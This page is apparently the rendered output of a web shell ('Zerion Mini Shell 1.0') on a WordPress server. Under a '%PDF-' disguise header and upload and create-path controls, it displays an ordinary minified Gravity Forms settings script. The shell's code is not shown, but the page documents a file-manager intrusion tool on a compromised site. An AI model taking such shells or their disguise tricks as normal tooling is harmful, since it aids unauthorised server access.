%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/tif-dev/wp-content/plugins/gravityforms/includes/settings/js/
Upload File :
Create Path :
Current File : //var/www/tif-dev/wp-content/plugins/gravityforms/includes/settings/js/dependencies.min.js

var GF_Settings_Dependencies=function(e){var g=this;g.args=e,g.bindEvents=function(){for(var e=0;e<g.args.fields.length;e++){var t=g.args.fields[e],a=g.args.prefix+"_"+t.field;if("checkbox"===t.field_type)for(var r=0;r<t.values.length;r++)for(var n=g.args.prefix+"_"+t.values[r],l=document.querySelectorAll('[name="'+n+'"]'),s=0;s<l.length;s++)l[s].addEventListener("change",g.evaluateLogic);else{var o=document.querySelectorAll('[name="'+a+'"]');for(r=0;r<o.length;r++)o[r].addEventListener("change",g.evaluateLogic)}}},g.evaluateLogic=function(){for(var e=0,t=!1,a=0;a<g.args.fields.length;a++)g.evaluateRule(g.args.fields[a])&&e++;("ALL"===g.args.operator.toUpperCase()&&e===g.args.fields.length||"ANY"===g.args.operator.toUpperCase()&&0<e)&&(t=!0),g.getTargetObject().style.display=t?"A"===g.getTargetObject().tagName?"inline-block":"block":"none"},g.evaluateRule=function(e){var t,a=g.args.prefix+"_"+e.field;if(g.args.callback&&window[g.args.callback])return window[g.args.callback].call(g,e);if(Array.isArray(e.values)||(void 0===e.values?e.values=new Array("_notempty_"):e.values=new Array(e.values)),"checkbox"===e.field_type){for(var r=0;r<e.values.length;r++)if(1==document.querySelector('[name="'+g.args.prefix+"_"+e.values[r]+'"]').value)return!0}else{switch(e.field_type){case"toggle":t=document.querySelector('[name="'+a+'"]').checked;break;case"radio":t=document.querySelector('[name="'+a+'"]:checked').value;break;default:t=document.querySelector('[name="'+a+'"]').value}for(r=0;r<e.values.length;r++){if("_notempty_"===e.values[r]&&("string"==typeof t&&0<t.length||"boolean"==typeof t&&!0===t))return!0;if(e.values[r]===t)return!0}}return!1},g.getTargetObject=function(){switch(g.args.target.type){case"save":return document.getElementById("gform-settings-save");case"section":return document.getElementById(g.args.target.field);case"tab":return document.querySelector('.gform-settings-tabs__navigation a[data-tab="'+g.args.target.field+'"]');default:return document.getElementById("gform_setting_"+g.args.target.field)}},g.bindEvents()};

Zerion Mini Shell 1.0